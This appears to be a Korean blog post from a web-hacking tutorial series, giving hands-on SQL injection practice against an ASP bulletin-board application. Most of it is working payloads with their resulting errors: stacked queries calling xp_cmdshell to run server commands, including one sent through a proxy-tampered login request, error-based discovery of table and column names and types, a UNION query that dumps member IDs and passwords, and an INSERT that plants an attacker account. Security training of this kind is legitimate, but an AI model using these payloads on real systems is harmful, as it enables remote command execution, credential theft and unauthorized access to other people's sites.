1. 시스템 명령어 실행
select * from member;exec master..xp_cmdshell 'ping 127.0.0.1'
SQL쿼리 분석기에 위와 같이 입력하시면
member정보 출력하는거와 ping명령어가 실행되는 것을 볼수있습니다.
(;) 즉, 세미클론으로 두가지 명령어를 한번에 실행하는 것입니다.
우와 같은 결과를 보실수 있습니다 즉, 이러한 성질을 이용해 서버에 명령어 실행을 할수 있는것입니다.
그렇다면 실습해봅시다.
로그인 아이디 입력폼에 exec matser..xp_cmdshell 'md c:\board\bbb'
를 하시면 됩니다 하지만 이때.
문제점은 로그인 페이지 입력값의 길이가 위보다 짧게 지정되 있을때 입니다.
이것을 오딧세이 즉 프록시툴로 회피해 보겠습니다.
일단
admin/sec123으로 로그인 했을때 전송되는 내용을 봅시다.
오딧세이 확인해서
memberid=admin';exec%20master..xp_cmdshell%20'md%20c:\board\aaa'--&pass1=sec123&button=%C8%AE%C0%CE
라고 입력하시면
서버쪽의 c:\board\aaa 라는 폴더가 생긴것을 확인하실수 있습니다.
2. 집계 함수 이용
집계는 이미 계산된 것들을 모아서 계산하는 것을 말합니다.
SQL의 집계 함수는 avg(0, sum(), count()등이 있습니다.
즉 , 이미 계산된 결과를 어떤 기준으로 그룹화 하는 함수들입니다.
그룹화 하는 기준을 집계 키라고 하는데, GROUP BY 절의 칼럼이나 연산식을 집계 키로 사용할 수 있습니다.여기에서 주의할점은 GROUP BY 절에 사용된 집계 키들만 SELECT목록에 사용할 수있다는 것입니다.
가 . 테이블명획득
그럼 테이블 명을 획득해보겠습니다.
입력 : test%' having 1=1--
쿼리 : select * from bbs where tTitle like '%test$' having 1=1--
그럼 이러한 오류를 내놓게됩니다.
기술 정보(지원 인력용)
- 오류 형식:
Microsoft OLE DB Provider for SQL Server (0x80040E14)
'bbs.idx' 열이 집계 함수에 없고 GROUP BY 절이 없으므로 SELECT 목록에서 사용할 수 없습니다.
/board/board_search.asp, line 9
즉 여기서 위와같은 아주 중요한 정보를 에러로 얻음으로써 테이블 명을 획득 할수 있는것입니다.
나. 필드명 획득
입력 : trest%' group by idx --
쿼리 : select * from bbs where tTitle like '%test%' group by idx--
이때 에러 결과로 bbs.tld 열을 내놓게 됩니다.
즉 idx 테이블 명 다음의 tld를 얻고 마찬가지로
그다음
입력 : test%' group by tld --
쿼리 : select * from bbs where tTitle like '%test%' group by tld --
결과 : bbs.tName
이런 식으로 반복하면 bbs 테이블의 전체 필드명을 알게 될수 있는것입니다.
다. 필드 타입 획득
일단 게시글을 검색하면 어떤 식으로 검색 되는지
전 board_search.asp파일이 있어서 이 파일을 살펴보았습니다 이때
keyword = Request("keyword")
Set objRs = Server.CreateObject("ADODB.Recordset")
strSQL = "Select * From bbs Where tTitle like '%" & keyword & "%'"
objRs.Open strSQL, objConn, 1
TotCount = objRs.RecordCount
즉 키워드를 받아 Select * from bbs where tTitle like '%keyword%'을 생성하여 제목에 keyword가 있는지를 찾는 것입니다.
그럼 검색ㅇ어에 union을 이용하여 member테이블과 bbs 테이블의 필드 타입을 알아 내 봅시다.
입력 : test%' union select sum(bld) from member --
그럼 오류결과로
오류 형식:
Microsoft OLE DB Provider for SQL Server (0x80040E07)
sum or average aggregate 연산에서는 varchar 데이터 형식을 인수로 취할 수 없습니다.
/board/board_search.asp, line 9
이처럼 내놓게 됩니다 즉
sum()함수는 varchar 타입을 사용할 수 없기 때문에 이런 에러가 나오고 bid가 varchar타입인 것을 알 수 있습니다.
이와 같은 방법으로 테이블의 나머지 필드의 타입을 알아낼수 있습니다.
(UNION이란 => union은 두 쿼리의 결과를 합치는 것으로 필드의 갯수가 일치해야 하고, 각 필드의 타입이 일치해야 합니다. 참고로 union만 사용하면 중복 데이터를 하나만 표시하고 union all을 사용하면 중복 데이터 모두를 표시합니다.)
라. 계정 획득하기
union을 이용해 계정 획득 해봅시다.
입력 :, ..... 모든 필드명 bData From member--
이때 하나의 필드명이라도 성질이 다르면 안되기 때문에 하나의 필드명의 타입이 예를들어 숫자라하면
필드명 대신 , 숫자 즉, 1, 2 등등을 넣어 주시면됩니다.
결과는 ?
위와 같은 결과를 볼수 있습니다.
즉 , 제목에는 우편번호 작성자에는 패스워드가 표시가 되었네요.
이때
제목에 아이디를 표시하도록하면 아이디와 패스워드 정보를 획득할 수 있습니다.
제목(bbs. tTitle)과 아이디(member.bid)의 순서를 맞추면 됩니다.
test%' union select idx, bname, bpass, bpost, bid, baddr1, baddr2, bphone, 9, bDate from member--((
위와 같이 제목에 아이디가 작성자에 패스워드 출력이 되게 됩니다.
마. 계정 추가하기
계정 추가하기 공격은 insert문을 이용해 member테이블에 공격자 계정을 추가하는 것입니다.
입력 : test%';insert into member (bid, bpass, bname, bpost, bphone) values('test', 'attack', 'a1', 'a2', 'a3');--
즉 이러한 공격은 회원가입이 불가능 할경우 게시판 검색을 이용해서 자기만의 아이디를 만드는 것입니다.
[출처] No.8 SQL인젝션 공격 실습(2)|작성자 Securely
'Security > Web Hacking' 카테고리의 다른 글
No.10 Web Shell Upload 공격 (0) | 2012.07.11 |
---|---|
No.9 SQL인젝션 방어법 (0) | 2012.07.11 |
No.7 SQL 인젝션 공격 실습 (0) | 2012.07.11 |
No.6 SQL인젝션 알아보기 (0) | 2012.07.11 |
No.5 WebHacking의 시작 WebGoat설치 (0) | 2012.07.11 |